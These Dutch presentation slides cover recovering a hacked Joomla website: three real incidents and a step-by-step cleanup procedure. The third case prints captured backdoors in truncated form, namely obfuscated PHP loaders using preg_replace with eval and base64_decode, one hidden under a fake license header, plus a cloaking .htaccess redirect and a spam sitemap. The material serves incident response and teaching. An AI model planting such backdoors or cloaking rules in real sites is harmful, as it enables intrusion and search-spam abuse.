Help, mijn site is gehackt*

wat nu?




door Peter Martin / @pe7er

*gehackt / gehacked

“Het correcte voltooid deelwoord van hacken is gehackt.
De stam van hacken is hack. Om het voltooid deelwoord te vormen, voegen we vooraan het voorvoegsel ge- toe. Achteraan voegen we de uitgang -t toe, omdat ook de verledentijdsvorm op -te(n) eindigt (hackte(n)).

• ge + hack (stam) + t = gehackt

Als gehackt als bijvoeglijk naamwoord een buigings-e krijgt, is gehackte de correcte spelling.

• de gehackte computer”

bron: http://www.taaltelefoon.be/gehackt-gehacked

*gehackt / gecrackt

Hackers vinden toepassingen
die niet door de maker van het middel bedoeld zijn.

Crackers omzeilen computerbeveiligingen.



In dagelijkse spraakgebruik:
hackers = crackers





Overzicht presentatie

  • Waarom hacken?
  • 3 praktijkvoorbeelden
  • Herstelprocedure
  • Demo

Waarom hacken?

“Ik heb maar een kleine website...”

1. Credit Cards

2. Informatie

3. Graffiti

4. Phishing

5. SPAM

6. Backlinks

7. DDOS

8. CPU

9. Chantage

10. Handel

Praktijkvoorbeelden

Website gehackt 1 (2010)


Netwerken met een kopje koffie

Open Coffee Nijmegen is een initiatief om inspirerende ondernemers en ZZP-ers
uit de regio Nijmegen onder het genot van een kopje koffie (of thee) bij elkaar te brengen.

tot 2010-10-27 21:55:41

iskorpitx

 BY iSKORPiTX

(TURKISH HACKER)

ALEMiN KRALI

 

best regards to all world

 

Net als vele anderen op zelfde server (IP 85.92.140.141),
binnen paar seconden, verschillende CMS & HTML
-> server gehackt

π

“gewoon index.php terugzetten“
“Geachte heer/mevrouw,
Hierbij zeg ik per direct
mijn hosting contract op...“

Website gehackt 2 (2011)


Bounce mails van Joomla 1.5 website van klant

Webserver Access logfiles

Tijdstip begin spam

POST naar server via index.php?option=com_fabrik &c=import&view=import &filetype=csv&tableid=1

Upload hackerscript.php

http://voorbeeld.nl/media/ hackerscript.php

π








Website gehackt 3 (2014)

Medewerker vraagt
admin toegang

Backup (just in case) + access

Backup vs oude backup > KB??

SSH op website:
Verdachte .php bestanden
sitemap.xml met viagra
aangepaste .htaccess

π

Hacker #1

Backdoor 1

/includes/xmlrpc.php - 07 september 2014 23:15:01
Bestand niet in backup van 18 oktober 2014,
wel in 19 oktober 2014

<??php
# GNU LESSER GENERAL PUBLIC LICENSE
# Version 3, 29 June 2007
#
# Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/>
# Everyone is permitted to copy and distribute verbatim copies
# of this license document, but changing it is not allowed.
[..]
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>
$auth_pass = "52fd812f55cb3118bb3bfe575b59a02d";
$color = "#df5";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy4
3S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkz

Hacker #2

Payload 1

.htaccess - 09 november 11:45:48
door hacker #2

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing|spaumbot) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^([^/]*)/$ /main.php?p=$1 [L]

##
# @package    Joomla
# @copyright  Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved.
# @license    GNU General Public License version 2 or later; see LICENSE.txt
##

Payload 2

main.php - 10 juli 2013 11:25:27
door hacker #2 op 9 november 2014

<?php Error_Reporting(0);
$xTBYAB76GYfo="rRgNb9pINsmlkm88FKyALcceuFM36xyYbdASOBpMe4FEhCapvQV74nL1b0il/v97b8Y2BkKSSudIwZ55X/O+5/38EUW9Pm96w07Tu3B/
/vAIMYjTZIpBqKY3/Gkw/vlDq3N/6bS85h9e811y5rqnThu+nMFHr+cmJ5PreNTqeW4c8L/9/PHzB4dnqZK3FZXyK/7vDcyzfgtwxptgKiXUqBplRvx0ETk
/4nu9qkoAhzClalrMj8vlchjP43j+NGzNvvPTL7GDm0rNso2aqemwn6jMKhG2sEzdtDVTXygVk9RMaz+0jFoiaCnEsJiqGgTBbV21DJ0yna4AVEbeMuLYhg
SpUKpcRlESrjDDJFKpSWhJiQCLGbqj1nRyf38fKhVFEimRqqOzMhBYoUn2Jq2kOy9TkaIUpFCNqkmO2H6oMxrpBrXVqMHosamyLWRpXU1VGfWXVFECYcQlr
SkoAgoGi2NcUZR9hspNXER8w1lVZQjLkUC9pFtUA+HYnqZS1U/UfdUBng5lNcWxNZJsEd6E8NFUvEC3AOvDvm7WmO84o07Xc5xAAoMc6HEoAVCh+
[..]
+jPuv0ZCSPco4yHZS4goVte05ZaSQG+kdELd9Sz2YzKa3nwIRHiW9qulHKSSXNiggPBGFb0SQPUZPP4iNUBuLj2JSJG6RItv9Dw==";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34
\x5F\x64\x65\x63\x6F\x64\x65\x28'ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoY
kNoaVlYTmxOalJmWkdWamIyUmxLQ0pLU0doeVRXeEdkbHByYkRSVV";[..]
=
preg_replace("/.*/e","eval(base64_decode('

Payload 3

sitemap.xml - 9 november 2014 11:50:42
590 spam links door hacker #2

?xml version="1.0" encoding="UTF-8"?>
	
		http://www.voorbeeld.nl/viagra-professional-100mg/
			2014-11-09
			monthly
			1.0
		
		http://www.voorbeeld.nl/long-term-side-effects-of-cialis/
			2014-11-09
			monthly
			1.0
		
		http://www.voorbeeld.nl/price-of-viagra-100mg-tablet/
			2014-11-09
			monthly
			1.0

More backdoors

Backdoor 2

/libraries/joomla/session/cache.php - 19 augustus 2013 14:45:46 door hacker #2 op 9 november 2014

<?php Error_Reporting(0);
$x0bp6Rx0vRH="vRhrb9s28K+71VLHDtCsfmRTggC2GUOijFo1LWlA3CY/oAX6F0ZDZWWlk5ols9MmLnZHUrLkR5btw5w4Eo/34r2Z9x8Mz6Oe2SIB9Zhrd
5N5unz/4f2HqU+8N8Qzx/A0rS6xmbgXL6Zm22j9bLRO+ctG48hswsqsPjP2G/xEUrkdkXwOPNI1BxbrDxM+84nTOaNs5vJYbPJMU/FOSutS2nUIiKhU620j
51Vi9UziALPzrm9d9T1r5BDvvNrzf6LsSm2eH5CeawWWx2zi+ec5xdUBPXNhe8hYcI4c/MDtAbFm8qh2K92YNyag2kRqHIxZx5XgRqupNJ52CXNc+7UPQE5
tDsDpgPZwNecSQ8Bn2nO9e+a5g8RnnumRwLH6JOGj0SjiMefxmo1f1tpg3WgFbRm/NI12w2y2DvlJit7KuQ56Nwm+IPAj/E4Diw2VrF30GbnElPT4phnIHd
97M/S3eV9ptlxHg1Mx6tAR8RINlNzwveP4CiE/dojHDuMwjLfjSo3UKgqvnFArhrHh+j5hyZQFgfYTGwSoO1AhEI0Pj0sivdFA+08EcXyCuAIZdMZ2n7nUN
smF6zM/4f6lb4ILTUYGgQlm5BuM1zESab8C3wJuAvu2NSCJaVYO64ZpKl9NdAC5neSz60smGVEUzsIoP+0sBPHIdPAakMROrHh+fX2dZnu0mucJwFJtpXWW
1AkIoFOCpcYzyW8OKhuUr9if4Dv38D";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F
\x64\x65\x28'ZXZhbChiYXN
preg_replace("/.*/e","eval(base64_decode('

Backdoor 3-9

door hacker #2 toegevoegd op 09 november 2014 11:45:48

/administrator/fs-login.phtml
/language/comnon.phtml
/layouts/fedit.php
/libraries/fedit.php
/logs/comnon.php
/plugins/fs-login.phtml
/tmp/Iicense.php

preg_replace("/.*/e","eval(base64_decode('
sitemap.xml geïndexeerd door Google...

Website hersteld

backup van gehackte site
hackerscripts verwijderd
sitemap.xml verwijderd + sitemap opnieuw aangemeld

.htaccess aangepast:
* redirects verwijderd
* spam links 410 Gone

RewriteRule \S*viagra+\S* - [G]
RewriteRule \S*cialis+\S* - [G]
RewriteRule \S*pharmacy+\S* - [G]

Herstelprocedure


  1. Veiligstellen
  2. Analyse
  3. Herstellen
  4. Informeren

1. Veiligstellen

  • oude backups
  • backup gehackte website
  • server access logfiles

1. Veiligstellen - backup

Via Joomla
Akeeba backup (eerst oude backups veiligstellen!)


Via SSH
rsync van “bron” naar “doel”

$ rsync -arv peter@gehacktesite.nl:~/www/ /home/peter/backups/

mysqldump database

$ mysqldump -u gebruikersnaam -p databasenaam > sql-uitvoer.txt

2. Analyse

  • Joomla versie?
  • 3rd party extensies?
  • veiligheidsissues bekend?
  • analyse gehackte bestanden
  • server access logfiles

2. Analyse - gehackte bestanden

    zoek bestanden op server:
    nieuwe of met vreemde code (Base64)
    scan verdachte bestanden
    vergelijk met origineel

2. Analyse - zoek bestanden


nieuwe bestanden, aangemaakt in de laatste 7 dagen:

$ find . -type f -ctime -7

gewijzigd tussen 7 en 3 dagen geleden:

$ find . -type f -mtime -7 ! -mtime -3


zoek naar naar specifieke teksten:

$ grep -r "eval" /var/www/joomla-cms | grep "base64_decode"


Helaas: datums zijn aanpasbaar en PHP code is te obscuren.

2. Analyse - scan bestanden


NeoPi - python script spoort verborgen web shell code op

installeer via git

$ git clone https://github.com/Neohapsis/NeoPI.git

start script

$ /var/www/NeoPI/neopi.py -Aa /var/www/joomla-cms


Toont top 10 lijstjes met verdachte bestanden
veel false positives

2. Analyse - vergelijk met origineel

schone site
* lokaal
* uit veilige backup of
   zelfde Joomla versie

gehackte site
* lokaal
* restore gehackte site

visual diff & merge tool:
Meld (Linux, OSX & Windows)

http://meldmerge.org/

3. Herstellen

  • oplossen veiligheidsprobleem
  • opschonen website
  • Google sitemap
  • wachtwoorden


Werk offline - doe dit alles op lokale server

3. Herstellen - oplossen veiligheidsprobleem

Alle software up-to-date brengen
Joomla
3rd party extensions

3. Herstellen - opschonen website

Oude schone backup updaten
+ wijzigingen (database + bestanden zoals plaatjes) overzetten van gehackte site

of

Hackerscripts uit gehackte website verwijderen

3. Herstellen - Google sitemap

Eigen sitemap.xml aanmelden bij Google

Spam pagina's sneller uit zoekmachines?
genereer via .htaccess 410 Gone error

RewriteRule \S*viagra+\S* - [G]
RewriteRule \S*cialis+\S* - [G]
RewriteRule \S*pharmacy+\S* - [G]
RewriteRule \S*propecia+\S* - [G]
RewriteRule \S*drugs+\S* - [G]

3. Herstellen - wachtwoorden

Wachtwoorden + gebruikersnamen veranderen
* MySQL database wachtwoord
* FTP wachtwoord
* Wachtwoorden van Joomla gebruikers

4. Informeren

  • klant
  • hostingpartij
  • developer
  • gebruikers website
  • community

Demo

Demo Herstel gehackte website
met flink verouderde backup

schone site
verouderde backup lokaal gezet

Joomla 3.3.6 (1 okt 2014)

Akeeba Backup 4.0.5 (30 sept 2014)
JCE editor 2.4.3 (11 sept 2014)

gehackte site
backup van gehackte website lokaal gezet

Joomla 3.4.3 (02 jul 2015)

Akeeba Backup 4.2.0 (1 apr 2015)
JCE Editor 2.5.11 (26 okt 2015)

Bedankt

Peter Martin
e-mail: info at db8.nl
twitter: @pe7er
presentation: https://db8.nl

Photo Credits

Titel sheet:

1. Waarom hacken?

2. Hacked

3. Herstelprocedure